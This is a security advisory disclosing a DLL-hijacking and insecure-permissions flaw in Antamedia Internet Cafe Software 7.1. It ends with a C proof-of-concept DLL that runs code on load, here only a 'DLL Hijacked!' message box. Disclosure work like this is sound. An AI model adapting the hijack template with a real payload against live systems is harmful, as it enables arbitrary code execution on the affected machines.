Antamedia Internet Cafe Software version 7.1 suffers from a DLL hijacking vulnerability.
2cfaa2ba266c95b6c2c1ccc52ea1a90642d2fe2083343a19e2517a9131ab83a4
/*
Antamedia Internet Cafe Software 7.1 Insecure Permissions/DLL Loading
Vendor: Antamedia
Product Web Page: http://www.antamediacafe.com
Affected Version: 7.1.1.0
Summary: Internet Cafe Software Cyber Cafe software is a worldwide top
selling solution for CyberCafe management and game center control. It
protects your computers from unauthorized usage and helps with customer
billing. Many features like POS, print manager, console controller, smart
cards, credit card billing, makes it suitable for any cyber cafe, hotel,
airport terminals, game center.
Desc: Antamedia ICS suffers from a dll hijacking vulnerability and improper
ACL permissions that enables the attacker to execute arbitrary code or change
the binary with another of his/her choice because of the (C)Change perm for the
group Everyone (AICLogin.exe, AICCore.exe). The vulnerable extensions are .fp3
and .swf thru qwave.dll library.
Tested on Microsoft Windows XP Professional SP3 (EN)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
Advisory ID: ZSL-2011-5005
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5005.php
26.03.2011
*/
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int dll_mll()
{
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}